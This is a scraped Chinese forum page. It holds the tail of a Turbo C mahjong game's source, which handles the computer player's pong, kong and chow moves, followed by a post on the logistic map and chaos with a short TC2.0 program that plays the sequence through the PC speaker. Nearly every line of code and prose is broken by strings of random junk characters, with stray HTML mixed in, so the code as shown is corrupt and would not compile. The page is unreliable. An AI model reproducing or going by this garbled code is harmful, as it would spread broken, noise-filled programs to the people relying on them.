fillRectangle(x1,y1,x1+20,y1+4,0);. _. M7 {& f& ^7 {( Z) y" H. O
}
: `' n" k1 k2 mif(every==7)
, h# x  ?& e( T: Y3 {; m' O{% T- s" S& W+ a. I! Q
x1=160;
# w6 T, p+ K+ V. _$ uy1=165;
, S: {3 [: U( N6 o( t6 \; qfillRectangle(x1,y1,x1+20,y1+4,0);
9 R+ @8 h1 C8 J0 ?+ ^! X: {}5 P) T# a. L" k. y9 {) {5 c  G3 V
if(every==8)8 H: [. q; g& k" P5 y
{
5 J. p1 ^5 k' y& t+ {$ I9 Gx1=180;. B- ^5 D% }) m; U$ B. P
y1=165;
5 p- [+ ?% ~, f% F* n6 N4 q1 JfillRectangle(x1,y1,x1+20,y1+4,0);
" B; ]0 L% r! _* D' P4 r}! n2 M9 _  W) R
if(every==9)
" S3 x5 |- w- D- g0 m8 \% i. u{
& E) T4 a5 E( @2 d! mx1=200;
  ?, t/ n2 D7 x" n1 b: Y/ v! Ly1=165;$ I- t' N4 f- o* M6 t
fillRectangle(x1,y1,x1+20,y1+4,0);$ E; r7 ]/ C. M' }( m
}
0 y( \0 g1 y+ b. m! C2 lif(every==10)- W: d9 |, Q5 K& G5 f* c0 \  U
{
6 `# ]: V  W' a7 t0 fx1=220;8 \' Y( D: S" A9 O! n8 i+ v% }" b
y1=165;
" l0 S+ N* ?0 F' k1 Y5 BfillRectangle(x1,y1,x1+20,y1+4,0);
0 k# e/ Z0 R7 q6 f}) b1 y( Z( g9 d0 L+ k1 ?
if(every==11)
4 Z- l* }! p% Z& G/ I; D5 x{
, `/ ?/ B" F7 zx1=240;
0 E9 p% C4 [& D& H3 wy1=165;
& j" k, q* _  SfillRectangle(x1,y1,x1+20,y1+4,0);
, E1 }, d! h: ]+ c  E# f9 N}
4 Q) Q! {# U# q% {8 Rif(every==12)
3 `" G4 G% k9 j+ d9 C0 y* m4 j6 `) T{- e( w% ^8 a8 |6 ?& B
x1=260;1 F& L0 ]6 S, E8 v% i
y1=165;5 w4 a; f2 ], n, i- E
fillRectangle(x1,y1,x1+20,y1+4,0);
8 l3 g! c* v' M) h}$ i8 m7 F3 }9 x7 p

1 d! }" {- H, G& ?" [. V& izz=0;
7 b! [- \: T; B7 yevery++;
% _; Y; Z& |8 [5 A. o5 o3 |z=z+20;
3 e) a9 k+ G" p  i- S6 l+ U& V}1 b& s7 G  w" h. E# D
showbmp(every);$ p7 o, M# o  Q+ d+ f1 M2 y( M- n" G
key=keyy;
9 w$ T0 U4 r2 W; bif(keyy==ENTER)" I1 r/ A8 d& A4 e
{
1 Y- f! g+ A' C- P. x4 U( t8 r% n9 W2 hrgzn(every); /*********************/% [) ]3 c( X; L
if(sing==1) /*如果可以乓,做相应的处理*/* v# w0 H! ?2 k2 ?; L
{
$ ]" q; S; `+ |$ Okkk=0;* E$ t. G8 J1 f' C
kkkk=0;
2 d' v  H% C: S* Y2 Y& hwhile(kkk&lt;=computer.m)
5 K! _3 n& {/ [& k9 d{1 p" t% ^7 m( F" r4 |  u+ S* D& o
if(computer.pp[kkk].p!=1)0 \4 L/ P1 n# g. z6 P
{0 j% [/ d6 n# |0 k3 K
comp.pp[kkkk].k=computer.pp[kkk].k;, `8 u) B) k& T9 P! p
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 {% W0 ]3 w6 E* a/ h- h
comp.pp[kkkk].number=computer.pp[kkk].number;
8 a; Q6 s, |! k6 i0 e3 y" ]kkkk++;
1 j, g, Y+ s8 b3 m1 i}0 c$ W: e) P; v8 E  `8 v. D4 `
else
. G  I' [/ |( y! b5 j  s{8 @$ N2 c0 t* N! N
m[computer.pp[kkk].number].data1=1;
4 O' p! p7 _2 R  u+ E% K% zdwei=computer.pp[kkk].number;" ?2 e' i& H1 m1 C4 q5 F! ~
computer.pp[kkk].p=0;7 w6 S0 t  X+ s* t
}- z1 X4 w! d2 F0 F; Y3 A
kkk++;1 K, ~$ ~0 c5 w, Y4 d
}
/ _  g" o/ A1 @$ @; tll=0;
" M- A/ E/ G; V( b& x
' S. q' {9 P6 L1 l/ X: g4 n  p. ewhile(ll&lt;3)  T$ G* K' }* k4 X6 x9 [
{ zl=zl+20;
, C& _4 ~$ o% n4 `) Lbmpp(dwei); /*显示乓的牌*/  x  \3 V$ y$ q: Y' o
ll++;1 s+ \8 W: \: [" T) T" B
}
4 N: J- W6 v$ @9 U
/ C" Z# R  o& A5 h, r; k5 szl=zl+9600-60;
/ Y( N8 Z( ?6 A& t4 Q- ?kkk=0;( |' E3 ?9 @. W+ ]4 m6 h: J
computer.m=computer.m-2;+ }- ^& |2 [5 q" ]& q
while(kkk&lt;=computer.m)
" S  F! X3 Z( J" r8 G3 q/ T/ U2 v{% K8 V$ B9 I2 V0 |9 t
computer.pp[kkk].k=comp.pp[kkk].k;
; G3 @- I# ^: H" S' Y5 [  Ncomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
; y1 A" w$ K9 O) v" k+ S8 B/ t0 Q9 `; ~computer.pp[kkk].number=comp.pp[kkk].number;8 r5 |) y; h& k8 Y3 x; ]! q
kkk++;
( O" [, v6 M$ o; y+ w+ \5 z}
3 K8 d+ A: L1 F/ Pll=0;" [: n& ?; L# d$ j( m
temp=random(computer.m); /*出牌等待完善*/- M, [6 ^. A5 [/ b/ K
zyy=zyy+9280+20;
5 }, \# [, V! z$ Eshowcbmp(temp);5 h2 `- F& [0 |' r( E
zyy=zyy-9280;
# J! {5 B6 K. y3 W8 |/*****/4 @& m: W5 r1 l6 p6 z- ^
rgznme(temp); 5 K: c- _! Q" i: ~) T( q
panduan();4 o; z. _# @+ I& S
if(me.m==0)  n7 \% U7 B  \) C/ U- F5 J. k$ Y
if(second==1 &amp;&amp; threes==0)5 a' H" J8 B/ N# L- X- [, ]
printf("you win!");
8 G" ^  L3 U+ Hif(me.m==3)
. b$ R1 b" l$ x  @/ Gif(second==1 &amp;&amp; threes==1)
! x4 v* T* e& }. oprintf("you win!");
4 d) n; F; C# v9 @, M: R( F" x! gif(me.m==6)
# v2 w. u  K( N0 F+ b" A# Nif(second==1 &amp;&amp; threes==2)
" S$ g7 g. c' _2 i- O5 ?$ n/ Hprintf("you win!");
4 W4 L8 H* h" V7 j" Tif(me.m==9)! T* d7 x# b2 ]4 Q0 [
if(second==1 &amp;&amp; threes==3)5 }' w' z) U! N' o8 B
printf("you win!");# j6 h- _0 X3 ?* _; f% r2 C
if(me.m==12)
3 G3 d# K- S  [4 oif(second==1 &amp;&amp; threes==4)
9 i. w' h. {# _" {) pprintf("you win!");+ ]2 X8 m1 q/ d8 R/ C
2 O$ b/ k' H% l6 z6 ~
kkk=0;# l! B" `6 u8 E1 I
kkkk=0;4 f' s: i$ o0 ~- }( }+ |4 N7 }
while(kkk&lt;=computer.m)" H  w' o6 h+ u* m
{
- B4 U$ a' ^; {1 o; Xif(kkk!=temp)7 U+ q; e3 }% }" q) |* b: ]( @/ Z
{2 X) J: ?& Q: B
comp.pp[kkkk].k=computer.pp[kkk].k;3 q& x. Z1 e; E5 d. |- v) b
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
2 ?8 u* c1 P4 f8 i: Mcomp.pp[kkkk].number=computer.pp[kkk].number;
+ |! H  }2 y7 \7 q$ ~* g  n# Kkkkk++;: R# \$ g. R. b3 v
}
- f. i& t9 U; y1 D5 o) ]else) M" a) V* j3 R' S1 F# h
m[computer.pp[kkk].number].data1=1;, t; ~, O' k% s, Z
kkk++;
0 M' ?  m% e) p}
2 S* ~1 S4 [1 Z5 A( S  {kkk=0;& ^* D9 u/ K8 b( w  A$ `: {) v
computer.m=computer.m-1;( ^! l1 g/ D) I. D+ t
while(kkk&lt;=computer.m)
9 @( O. E2 I0 n8 [0 X7 M, w5 k{1 H/ C0 t5 G) M4 x% M$ M
computer.pp[kkk].k=comp.pp[kkk].k;
! W$ H  V/ `- M8 hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 ?: Q- c1 k* X1 F  ]computer.pp[kkk].number=comp.pp[kkk].number;
2 R1 B/ {* b" i! M8 T" u7 q$ Z/ x2 G/ ?kkk++;
# b, z6 r: M7 K: e" M}
' _, C4 M! c6 [; l- u3 [fillRectangle(0,0,320,30,0);$ a0 f2 o  X* Z* z! Y) s
n=computer.m;( Y! }1 n# F4 y. J9 M+ B
ll=0;7 W$ Z5 n* P  a  d- ?2 B* M
zy=0;6 M8 [: W# D* l7 S) E
while(ll&lt;=n)
9 R* \5 V) z+ l* Q! X" f) h- G. v{- N& H4 Y7 j2 m& T! K5 H; m
zy=zy+20;  U, }0 ~2 _" _5 j7 Y5 h0 B- k
showybmp(ll);0 x  `0 \& B) ]: U0 ]2 @
ll++;+ r5 k; x7 j. \& @, E0 z. X2 ~
}
$ G4 t8 j9 f% P' yll=0;+ i6 z9 H0 Y5 A5 b  v0 Q
getch();5 ~0 m9 H) _2 M+ _8 G: B
sing=0;
9 o1 u/ o( b, s4 a1 \+ |2 ^/ Z9 N8 zsing1=1;
( H+ y, p$ X3 [}2 \) m+ ]7 q0 f6 t
  k) C( f: z9 s8 F2 U6 q0 r
if(sing==2) /*如果可以杠的做相应处理*/6 R1 q' O0 Z5 P; O- ^$ \
{
  l/ ?4 Y- L4 [, a, k+ jkkk=0;" [- |  O# u' a
kkkk=0;
8 R! b7 i* k9 k& s8 z& h& Qwhile(kkk&lt;=computer.m)# B# E0 Q- M; H* H9 U  e
{1 |3 R% Y" q7 Z- D$ V
if(computer.pp[kkk].g!=1)5 a' U7 d( n9 o) |" M6 Y/ K
{5 u$ I- n6 Q. a3 O- R
comp.pp[kkkk].k=computer.pp[kkk].k;
3 ^1 O& l0 o5 p# g2 |( o3 Gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;" q6 l3 A- A; Q" [
comp.pp[kkkk].number=computer.pp[kkk].number;
2 R! i( x9 p- a- D6 o; Pkkkk++;
% g. ^7 \: b: s' L& p}
) B, i/ r& y5 t' gelse0 o% ?5 y: p& q1 n! g
{
: R/ a/ M% D1 K, Vm[computer.pp[kkk].number].data1=1;: `7 f6 K  U3 r* ^
dweig=computer.pp[kkk].number;
5 i) h9 `+ ]/ ~& s! ~/ mcomputer.pp[kkk].g=0;; h5 J9 j& Q8 d# a9 T
}+ m5 ]9 b3 d$ L5 m" L3 t
kkk++;+ r! J- r2 H8 C( |7 k) u& h
}" d- e9 ]0 o/ y3 ?' _4 S' ^) J! p7 ^
ll=0;+ z( ^# w* d- n/ t( m1 k

" I. Q% k) D  Fwhile(ll&lt;=3)
1 A+ @" }5 ?# m6 x; R" _{ zl=zl+20;9 w+ S+ L5 |: h" b! y& E& Z
bmpp(dweig); /*显示杠的牌*/
) r- `( |9 J; w( T2 T5 V& A: bll++;
3 m! h9 |% A- q8 @! T9 s/ {3 M}
2 g+ M5 D4 |) c9 J- ozl=zl+9600-60;" n" Y9 K  Z+ v! O
kkk=0;
. _2 i' O" ?' C5 i( d' Y1 F" Mcomputer.m=computer.m-3;+ z! w- b$ H  u, D; M7 ^7 u0 ?
while(kkk&lt;=computer.m)
, _& V* M/ d# X$ V; q{0 p! T: ?: v% i! H2 e
computer.pp[kkk].k=comp.pp[kkk].k;' p& m# ]6 N( T" I* I" ~: ~- m
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;) l: c$ m4 \6 u
computer.pp[kkk].number=comp.pp[kkk].number;
3 b7 i9 m5 ]  D2 e: w" vkkk++;
( r+ {) ^2 h; p5 h* @' F* t0 A% T" w}2 v7 X# Z/ g- U" I! I) H3 Q" I
kk=0;
+ i$ x' \4 m; O* C/ S. F/ _# rcomputer.m++; /*加一个牌的容量*/& S: R4 E9 `$ i. |; G. I9 Z# _3 a
while(kk!=1)0 [4 o8 k' t8 p% w5 `4 J
{# Y4 Z4 V! H; h  F; h2 T
temp=random(136); /*出牌*/: u9 G& b# X3 ~$ q
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)5 P, y( j& W9 V# I, h
{, }# S4 p7 {/ r' r( P
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
7 W/ K) K6 @" Q. _4 P" rcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*// O* U) P+ j2 H" a
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
  {4 q5 ?+ F8 I4 c0 j% am[temp].data2=2; /*判断牌是谁的,2为电脑*/, f: M  L  S5 m. e8 n# v5 ~
kk=1;; t' `% w# D6 ]+ `+ |: I
}5 `: R. p  C  W# t
}
% ^: f5 D. T; w, K' A' ?- ~  m9 ^comlipai();
& s; A8 }* _9 q+ D6 O7 qtemp=random(computer.m); /*出牌,等待完善*/0 \0 r) P; j3 V  X. M+ p
zyy=zyy+9280+20;
) g8 q1 f2 D3 v+ }. Ushowcbmp(temp);8 v1 e) V1 q! }0 u/ s- g, T
zyy=zyy-9280;
/ P5 h/ A  q( ]2 [/*****// R1 ~( q" i9 |/ N. w3 m1 u4 `3 ~
rgznme(temp);
% M! P0 H" s* L1 `- }; hpanduan();5 H2 s8 t5 y* a* s# L* n, U0 e
if(me.m==0)
7 y% a; ]; @6 N/ x# s: E( o# Fif(second==1 &amp;&amp; threes==0)
( |( @! j- U% j$ d2 [& Wprintf("you win!");
4 V1 u% D* ^* e* {if(me.m==3)2 R5 ~. g2 |; ?$ O4 n  e
if(second==1 &amp;&amp; threes==1)
& _& |" Q$ ^. r& K  N8 |printf("you win!");
* R3 M; w2 y2 z" q) kif(me.m==6)9 c6 {8 {# b' S  u1 H6 Y: N# ~
if(second==1 &amp;&amp; threes==2)
1 L2 _$ f4 w/ Z4 n3 k. Lprintf("you win!");3 F4 f6 x6 E3 y9 y: t! P
if(me.m==9)% q) B# G4 S/ L; ]3 c% ~; O
if(second==1 &amp;&amp; threes==3)" f! @4 n0 `# S
printf("you win!");
( z: U% C& `$ r  p3 R) Eif(me.m==12)
7 o8 k: H7 U7 }5 b* tif(second==1 &amp;&amp; threes==4)  U" c0 ^' [' L, k+ |& e5 z, Z, l! n
printf("you win!");
2 K9 T2 N7 w' p0 U5 ]8 r! j6 ~/ s8 _; x
kkk=0;* b. |. v* D* {
kkkk=0;. }$ v+ L1 F% |+ h( q; N7 `2 R
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/' \+ L; w& P& G( X1 Y' ]
{
3 P1 |$ k! F5 z8 U. |& gif(kkk!=temp)
0 L! ^! t$ n  o! P- Z+ W: i6 x{
7 c7 K$ D% @, F6 u* K  Ecomp.pp[kkkk].k=computer.pp[kkk].k;5 ^; G( F1 K9 U
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;6 ]6 U3 l& }) V  ]0 D
comp.pp[kkkk].number=computer.pp[kkk].number;% m8 x9 Q- b  }/ D+ l
kkkk++;' o5 R) f: a# y& Q% h5 m' M
}( V* s* p$ }' C* M( U" Y
else
+ M1 C* F( g* o* N( v8 N# @3 xm[computer.pp[kkk].number].data1=1;& A, m3 {: S2 k! O0 w( ^" s8 R
kkk++;
# W4 S) f! |5 L7 x, j" M1 k}
# x, N' P. n+ v. Fkkk=0;: }" z# V8 E* D2 Z
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
, x( v6 V! c8 _4 W! k' O9 }while(kkk&lt;=computer.m) 4 q7 l, x) l8 O+ w6 e
{
8 o: g5 B; z' m% i2 `8 jcomputer.pp[kkk].k=comp.pp[kkk].k;8 ~; u# e0 _  y
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
0 z; A5 L/ g" _/ |computer.pp[kkk].number=comp.pp[kkk].number;8 X, O0 B2 ^0 U& d7 L
kkk++;2 @9 q. P/ g" M! G# n3 h) H
}' i* S. S7 S" ?$ D* J4 @8 q* r
fillRectangle(0,0,320,30,0);
& D  L+ [* K! q% w+ Yll=0;0 O. e8 f, {$ V
zy=0;
5 G" E) w6 h# p& l& ~while(ll&lt;=computer.m)7 E. }. O% {  L: A- g( e0 D1 D
{
' E( R  b: y8 d. E  K4 H! Hzy=zy+20;
6 T, r* K1 z& P  k8 eshowybmp(ll);
; D* S! F! H# E& H/ M7 u& {& ill++;! |: u( h3 G$ n! ^- e( o+ G
}
& H; q. A4 h* ^: U- W$ ?- _sing=0;
7 |& b. e, S* f% U6 bsing1=1;4 P' O& }& O6 s7 P
}
5 U0 L& @: h/ Q: k6 R5 t+ Cif(sing==7) /*如果可以吃的,做相应处理*/
- [7 ~" V/ v" _+ ~$ v- B{ nn=0;7 z3 m7 v" H8 |8 x
kkk=0;
: H* Y5 e, {7 T6 ekkkk=0;
% ?, O4 s5 y+ _% D* g& Y* r5 Q+ awhile(kkk&lt;=computer.m)
: ]" x& R5 ^7 \& a% i{; ^8 g2 u& o% J& s$ g
if(computer.pp[kkk].c!=1)1 I! K/ H2 R. h4 Y5 \; }7 ]7 J
{$ c$ ?0 Z; _) B
comp.pp[kkkk].k=computer.pp[kkk].k;* [2 S  A0 q: w& Q
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 B7 W7 u& k5 T# R/ J6 h* D
comp.pp[kkkk].number=computer.pp[kkk].number;
1 ?6 a  W! l" _8 b& Fkkkk++;8 G: X* B( |: G+ j9 I4 z/ Y
}' k+ B6 J  ]+ A$ B0 A& m4 ^: v
else7 S( f. }6 S& N+ _6 C# ?
{
& `# q+ l- n" x; c* R" G' ]1 hm[computer.pp[kkk].number].data1=1;. |( v: k! ], }) ~7 J& P$ m$ ]
dw[nn++]=computer.pp[kkk].number;+ J. d1 H! m  w+ S
computer.pp[kkk].c=0;* K% O$ q. F' B4 |5 ?2 G
}
! S" a4 H1 g1 {3 h; R; Y# okkk++;$ m* ]7 a3 [! [2 R* {# {7 g
}0 Y5 P5 x0 T, h9 T& s9 G9 K: B$ V

3 @  [! }% T/ ~if(me.pp[every].number&lt;dw[0])
8 q; I- f! W8 b' A{9 g4 l+ y/ T3 g# ]. t
dw[2]=dw[1];% A0 ~: p! q0 h; c1 G8 s/ Y
dw[1]=dw[0];& c  j/ u3 G7 T# _/ y9 D( F
dw[0]=me.pp[every].number;
. e! x1 B/ I" \5 T}5 \; d/ V( t6 Q, @9 A
if(me.pp[every].number&gt;dw[1])
: ^% S! `; l3 ]/ G( N{
7 o4 q6 s$ ^# {# fdw[2]=me.pp[every].number;3 W( ~" }- J$ `" `* M( W* m( x
}  g4 H1 l. n" O( e0 d: u
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
  [4 C6 H( b- Z{7 G! L0 q# Z. [! m
dw[2]=dw[1];& X/ A9 I6 Q& v' ]" V+ Y# l( x) M
dw[1]=me.pp[every].number;
/ M$ Q4 D8 r- d5 ]}
# W9 ^! k3 `) x" m! m* Vnn=0;" Y2 x6 `) }: ^0 I( a- S/ H& X
while(nn&lt;3)
! C" s; ?' u+ _  T2 _: M{ zl=zl+20;
1 J! x9 c# J8 Obmpp(dw[nn]); /*显示吃的牌*/, Z% m* r3 \( W5 ]$ h
nn++;1 _: J8 j% B( S5 q
}
# S- }$ }& U# s1 Zzl=zl+9600-60;% H' i  K, `1 f1 Z& x$ P3 X1 Z
kkk=0;- N5 n# p4 M( H
computer.m=computer.m-2;5 t" o0 E* {, ~
while(kkk&lt;=computer.m)
. o! i6 v% }: O' K{7 x) e6 D# c) J9 w: m. `8 O
computer.pp[kkk].k=comp.pp[kkk].k;
1 I8 W( t1 D7 ?) L1 Mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
$ u8 z# J  H# l" c$ ncomputer.pp[kkk].number=comp.pp[kkk].number;  A- M9 s  v, Q- @3 u/ {3 Z
kkk++;! G0 P- T4 j: w6 ?, I
}
" V# i4 J! `6 A& B4 all=0;
2 ~4 h' D' S" ]3 f% x0 q- I6 Rtemp=random(computer.m); /*出牌等待完善*/
! M1 G0 l4 ^5 f3 d( h$ Yzyy=zyy+9280+20;
( p2 e! e  C! |2 \/ S/ Y4 n) Sshowcbmp(temp);
7 H+ ]/ e/ n4 @8 s1 i2 B1 `zyy=zyy-9280;
/ _" E. t# Z& l9 {7 Y$ O/ d; t/*****/
7 u( |* z/ G2 e5 \5 Zrgznme(temp);
, S  M9 Y: j5 b, e' M. ~panduan();
8 B( X" a: c4 ]2 W5 j: s" e6 aif(me.m==0)# c! J( M6 u( Y" L  ^( S" a
if(second==1 &amp;&amp; threes==0)3 r; b, g3 E5 C' m6 z6 q
printf("you win!");
! \8 u/ p$ X% k) J" m5 ]if(me.m==3)4 S4 k1 @5 _# N" J) G& @. }
if(second==1 &amp;&amp; threes==1)8 S! Z. d( Y2 i, `+ o" `
printf("you win!");
; k  i3 k: G' K% D, ^) [if(me.m==6)$ F, j6 B1 b1 l+ a4 N
if(second==1 &amp;&amp; threes==2)- k, F( |: f7 y/ w
printf("you win!");
5 u  ?" Z/ {8 \$ ~; ?) v8 yif(me.m==9)
& N4 C$ t: l" ^( \' l9 Vif(second==1 &amp;&amp; threes==3)
$ K' K2 x( M, m: oprintf("you win!");8 o6 ~' w* n& n( {/ G- }" b
if(me.m==12): i/ I2 M3 @2 L6 m4 K
if(second==1 &amp;&amp; threes==4)2 y. Y3 Z5 ^7 `% Y1 ], Q4 N
printf("you win!");
' H' N% k; y0 R1 ~* U" m* ~0 o
kkk=0;7 O- [' }/ J) |, K9 `3 p: j6 k2 G
kkkk=0;( i3 n2 i, ~! t4 e% b8 {
while(kkk&lt;=computer.m)
+ I5 J3 ^! i! I" _) g{! V4 A0 y; n9 @; ^
if(kkk!=temp)
" O3 ^* k) O3 w/ R( X{
9 L! }9 O& O6 K% g9 Ccomp.pp[kkkk].k=computer.pp[kkk].k;) g" S" ]0 _1 _$ E. v: F
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
1 {/ s  {+ {7 x7 ocomp.pp[kkkk].number=computer.pp[kkk].number;
' k( {. v$ {1 ~  k" C3 j) Mkkkk++;
9 W2 L& }5 t9 Z, p}5 N% w5 a: F  y0 l
else
' m' a' y2 Y6 Zm[computer.pp[kkk].number].data1=1;, r) x. d0 E5 U2 d4 v
kkk++;
6 L1 ^, r+ T! z. \7 z# H}
$ b! t8 u8 i$ I2 y; e2 W& P* nkkk=0;  F6 m5 _  Q  F0 |  C
computer.m=computer.m-1;6 }( i8 S5 z$ H
while(kkk&lt;=computer.m)
  N" e- ?8 E7 x- M0 `; c5 _{
- F  K' `$ A4 Q3 e: m9 u+ W8 V% h+ ?computer.pp[kkk].k=comp.pp[kkk].k;/ l" p9 D1 Q8 ?2 K- m
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- k6 t& @3 l" A2 W" p% ^+ tcomputer.pp[kkk].number=comp.pp[kkk].number;
8 }+ _2 {" f& f2 C# N/ u6 vkkk++;
8 M, G5 R9 P; m. C! ~" C}# B7 m$ ~" c3 m; {' _$ G
fillRectangle(0,0,320,30,0);
/ T" h8 k2 e5 n+ J( w; d# Pn=computer.m;
2 |3 c: `8 `7 m8 S0 gll=0;
8 t2 a( ^  V% V/ Gzy=0;
; ?* d6 l, b9 ]; E, P+ ~% owhile(ll&lt;=n)
3 X* F, C7 |* [6 }9 X0 Q{
- D6 P# ?+ l% _5 F5 P% izy=zy+20;3 O( b& A" @) C
showybmp(ll);' |, W& z2 N8 V; Q: T) k2 i8 Y
ll++;
8 I# T0 B! y6 K: w5 u: N}0 Q0 j' b! _( V
: |) j, @% ?# V# b5 W$ B4 {
getch();5 w7 \; Y- r# {8 i  Z
sing=0;5 z# x. U/ Z- F! n* ]
sing1=1;7 K: a+ w! C2 L
}
* B5 I4 V4 j, z8 |( c  ^if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
9 z1 c, d+ a$ u, ^8 }{
( B- ~: R; l3 X; okk=0;4 B0 E5 ]( d- E# @* d6 I) O
h=me.pp[every].number;
7 X7 ^- ]8 w0 E. y! fm[h].data1=1; /*此牌已经无用*/, P) E) P0 N) s' x, _
if(sing1!=1)
  z, F3 u* h6 d: r# m8 v{" C. x3 W: E& g4 M+ P$ `
zyy=zyy+9280+20;3 q+ Q# K  U& x3 n( F2 n! Y8 r
showbmpd(every);+ l; y' J# L0 C) ]: Y
zyy=zyy-9280;
3 O: E- k6 U5 g& F! x6 j, _" ?}% l! Q& |8 c  E* u5 C( T4 W  h) ]0 u
while(kk!=1)
) t/ x4 s/ c. A6 I, x: L- P/ n# B{* z' `4 ^/ N& R7 ]# |
temp=random(136);1 K7 H7 J8 M; j* @
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)* {  E. C8 @- u0 y
{
0 A8 {2 w. D2 a. G; r: h  U8 K1 mme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/$ o' c+ q2 c+ O$ \) N
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/0 o: v2 Q# b8 k$ ~! Q
me.pp[every].number=temp; /*第几张,用来排序*/
" E4 `. O2 `: V$ D' L0 ]m[temp].data2=1; /*判断牌是谁的*/
9 H& w' z# h8 h! skk=1;
) C4 i; g: A4 r* V* H" S}
7 W; W5 Z5 x( B$ |$ D2 wif(kk==0) /*判断如果又选择了,就从新再选*/$ u, S: Y0 x  `8 k" M, i3 W
kk=0;
( e6 \' g2 H" u, g! r}1 G$ ~% N: a! n; r
}
+ g& u' N/ [* Y0 @sing=0;
1 \+ v  u3 i9 J; H! osing1=0;
; Y0 g, h6 T% l8 x" K) ^  ]melipai();
4 P  \4 ~, B) P6 l/ v6 e$ qn=13;
! P! k) C, w  z+ v# d0 m) @( Rz1=54400;
% ?. X6 C5 W/ S6 `. Z% h9 \4 jl=0;* }5 D, w) c# }) ~/ u  ]% _  M
g=z;7 n4 v: r1 G' m% ^
while(l&lt;n)
+ W3 K) O( A' A, R" t( y/ u{ z=0;
( Y* L6 K: T4 g- sz1=z1+20;& m+ f" n0 F' K" n
showbmp(l);
) ?* R6 N8 K  {l++;
! M( M  ]) S& H! |: @! ]3 ~2 [}* S: \0 a: H1 C& a* z! V+ ?
z1=0;- Y! \3 M( w0 T6 ~& o9 O5 l
z=g;5 N3 \: A9 G5 F" P
}
9 ?/ }( l1 Z+ `2 N0 H  ~keyy=0;# j, a' U# U: ?4 H# x( \% H3 ~* b
}
3 y4 i6 P& U( Y" o+ ~: G, m' E' ]! R# k: q! k$ v
getch();
/ h$ p' p2 l) lOUTVGA;
, n4 P- d" f4 J* T}
* M2 f8 c* H) |3 N</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
+ I9 i; @, E( G: }$ w</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
8 F; x$ |5 u+ g4 ^% u0 u1 u+ {  ~9 z: l1 r3 a( t( F& O
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
% B3 i; l) o. z$ }& k( _0 L  <FONT color=#009900>#include <DOS.H>
& B( E; v0 e* z; @0 [- u! Y4 e* h  #include <STDIO.H>
6 k3 C; ^; f: A1 P/ _) m6 M4 z/ n  main(){
, l. j$ `7 |8 n( r& ?  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
! N/ T( C  V* e: j  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/& {" j4 ^8 X! E6 w% Z* g/ V
  /*i,j用于循环记数*/
4 m# ^4 Z- K' o- \' K2 h  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/% L% {0 I2 v; g. P% y
  fDis=fMax-fMin;2 v* _. F* K6 `: t  Q: C5 S9 Y
  for(j=1;;j++){' V" S3 w! v# X
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/0 l- u+ `+ ^7 l3 |( o' b  b
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
. ^* A) ^9 {7 p- I$ c  scanf("%f",&k);- n& D% K; X$ @2 ?% {: `' L& g
  if (k==0) break;& e7 p7 p2 U) }2 R( u' r2 q' C" O
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
6 m0 C1 ^" ]+ g, ?6 F6 ^7 |- ~  x=k*x*(1-x);& E4 g3 n7 y" X2 R# n' e% q- Z1 A" U
  for (i=1;i&lt;100;i++){
$ o" F/ Q& T" s, L) Y: [* p  x=k*x*(1-x); /*计算x的值*/7 m0 R% X% F3 ~
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/& V/ B- X" h* y
  delay(1000); }
- o4 U$ J; O9 l$ g7 F  nosound(); }}0 v8 D3 ?2 Z! _! b1 X. ~
